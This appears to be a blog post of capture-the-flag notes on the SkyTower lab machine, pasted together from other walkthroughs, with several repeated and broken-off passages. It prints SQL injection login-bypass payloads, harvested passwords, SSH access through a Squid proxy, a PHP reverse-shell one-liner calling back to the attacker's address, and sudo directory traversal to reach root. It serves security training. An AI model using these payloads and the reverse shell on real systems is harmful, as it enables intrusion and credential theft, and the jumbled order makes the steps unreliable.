Wakthru
A. https://www.rastating.com/skytower-ctf-walkthrough/ [3128 proxy, ssh filtered, chk vhost , php reverse filter via cli, directory traversal, ./bashrc file, proxychain ]
B. http://blog.infogen.al/2016/09/skytower-ctf-walkthrough.html [sql filters the 'OR' ||, burp to enuramte username]
c. https://rgolebiowski.blogspot.co.uk/2016/07/skytower-challenge.html [sql injection attach worked ]
Notes:
1. Port scan shows 22 filtered and http & 3128 open
2. As Squid wasn't configured to require any authentication, I executed another port scan, but against
3. In order to check if Apache was setup to serve an internal website if accessing via
4. Website Analysis & Exploitation. see https://www.rastating.com/skytower-ctf-walkthrough/ [wasnt able to replicate]
4a. As we see from the response the sql filters the 'OR'. This can by bypassed very easily with '||' [see walkthru B.]
With the following payload email=' || email LIKE '%';#
We are able to bypass the authentication and we are presented with the following screen. Use burp intruder instance to brute-force and enumerate all the valid e-mail,usernames.Payload used : email=' || email LIKE 'j%';#
Username: john
Password: hereisjohn
Payload used : email=' || email LIKE 'w%';#
Username: william
Password: senseable
Payload used : email=' || email LIKE 's%';#
Username: sara
A. https://www.rastating.com/skytower-ctf-walkthrough/ [3128 proxy, ssh filtered, chk vhost , php reverse filter via cli, directory traversal, ./bashrc file, proxychain ]
B. http://blog.infogen.al/2016/09/skytower-ctf-walkthrough.html [sql filters the 'OR' ||, burp to enuramte username]
c. https://rgolebiowski.blogspot.co.uk/2016/07/skytower-challenge.html [sql injection attach worked ]
Notes:
1. Port scan shows 22 filtered and http & 3128 open
2. As Squid wasn't configured to require any authentication, I executed another port scan, but against
127.0.0.1 via the proxy by running nmap -sS -sV 127.0.0.1 --proxy http://10.2.0.104:3128: This suggests that although SSH connections are being refused externally, they are possible via the proxy. In addition, another port is shown as open locally; possibly PostgreSQL.
localhost, I setup FireFox to proxy via Squid and then compared the website being served via http://localhost over the proxy, and from http://10.2.0.104 externally. Both websites being served were the same, suggesting there was no vhost setup.4. Website Analysis & Exploitation. see https://www.rastating.com/skytower-ctf-walkthrough/ [wasnt able to replicate]
4a. As we see from the response the sql filters the 'OR'. This can by bypassed very easily with '||' [see walkthru B.]
With the following payload email=' || email LIKE '%';#
We are able to bypass the authentication and we are presented with the following screen. Use burp intruder instance to brute-force and enumerate all the valid e-mail,usernames.Payload used : email=' || email LIKE 'j%';#
Username: john
Password: hereisjohn
Payload used : email=' || email LIKE 'w%';#
Username: william
Password: senseable
Payload used : email=' || email LIKE 's%';#
Username: sara
Password: ihatethisjob
5. Using the SSH credentials found by bypassing the website's authentication (
5a. Had to remove "socks4 127.0.0.1 9050" from proxychain config file
5b. remove the old rsa keys from the file
6. As can be seen in the output above, before being presented with a prompt, the session was automatically closed by the host. However, as it's possible to specify a command to be automatically executed when using SSH, I was able to get a shell by connecting using
7. In order to try and harvest more credentials, I took a look at the contents of
8. Next, to enable me to use the backspace key to correct typos instead of having to keep re-typing commands, I created a reverse shell using PHP by running
13. This account also had the same issue with being instantly disconnected, so I executed the same command as previously used on the
5. Using the SSH credentials found by bypassing the website's authentication (
john:hereisjohn), I configured proxychains to use the Squid server by adding http 10.2.0.104 3128 to the end of /etc/proxychains.conf and then accessed SSH through proxychains:5a. Had to remove "socks4 127.0.0.1 9050" from proxychain config file
5b. remove the old rsa keys from the file
6. As can be seen in the output above, before being presented with a prompt, the session was automatically closed by the host. However, as it's possible to specify a command to be automatically executed when using SSH, I was able to get a shell by connecting using
proxychains ssh john@10.2.0.104 /bin/bash.7. In order to try and harvest more credentials, I took a look at the contents of
/var/www/login.phpto find the MySQL credentials, which were revealed on line 3:8. Next, to enable me to use the backspace key to correct typos instead of having to keep re-typing commands, I created a reverse shell using PHP by running
ncat -v -l -p 4444 locally and running php -r '$sock=fsockopen("10.2.0.3",4444);exec("/bin/sh -i <&3 >&3 2>&3");' & on the host shell.
Once I had a slightly upgraded shell, I proceeded to enumerate the MySQL database to see what other credentials I could find, but there were no more users to be found:
9. In order to verify there was nothing missed by Nmap earlier, I also checked the currently active connections by running
10. A quick look at the Apache configuration in netstat -a, and confirmed there was nothing running that I wasn't already aware of:/etc/apache2/sites-enabled also confirmed my previous presumption that there was no vhost switching present:
10. Trying to figure out what was killing the SSH connections.Started [and finished] by looking in
.bashrc and found the last three lines to read:
11. As I couldn't use
nano to edit the file, I used head to remove the last three lines and output it back into .bashrc:head -n -3 .bashrc > .bashrc
11a. Alternatively, I created a text file w/o exit cmd on Kali, left it on www folder ,wget it from the victim computer and rename it to .bashrc. Keep the old file incase you need it
After doing this, I tried to login again, and successfully got an interactive shell as
12. Now that I had the interactive shell, I ran john:sudo -l to view John's privileges, but the account was unable to execute any commands using sudo, so I moved on to the sara account.13. This account also had the same issue with being instantly disconnected, so I executed the same command as previously used on the
john account (proxychains ssh sara@10.2.0.104 "head -n -3 .bashrc > .bashrc") or create a text file on Kali and wget it to sara's folder and rename to ./bashrc file and then connected with an interactive shell.
Once in, I found that the
sara account had the ability to run cat /accounts/* and ls /accounts/*:sara@SkyTower:~$ sudo -l
Matching Defaults entries for sara on this host:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User sara may run the following commands on this host:
(root) NOPASSWD: /bin/cat /accounts/*, (root) /bin/ls /accounts/*
14. Both these commands allow for directory traversal, as
.. can be used to get to the parent directory, which meant I was able to get the listing of /root and view the flag:
=========
etc...
NOPASSWD
If you don’t want to be prompted for any password while running sudo then we can use the NOPASSWD parameter on a particular entry:
admin ALL = NOPASSWD: ALL
this parameter is the opposite of the default PASSWD and will no longer require any password for the user “admin” while running sudo. This can be of useful while running scripts that will launch sudo (in this case I would recommend to enable NOPASSWD only for the needed commands), or just if you don’t want to keep typing the password
source:http://www.ducea.com/2006/06/18/linux-tips-password-usage-in-sudo-passwd-nopasswd/
=========
sara@SkyTower:~$ sudo ls /accounts/../root
flag.txt
sara@SkyTower:~$ sudo cat /accounts/../root/flag.txt
Congratz, have a cold one to celebrate!
root password is theskytower
Now that I had the password for the
root user, I was able to login as root and complete the challenge:root@kali:~# proxychains ssh root@10.2.0.104
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-10.2.0.104:3128-<><>-10.2.0.104:22-<><>-OK
root@10.2.0.104's password:
Linux SkyTower 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jun 20 09:01:28 2014
root@SkyTower:~#
Comments
Post a Comment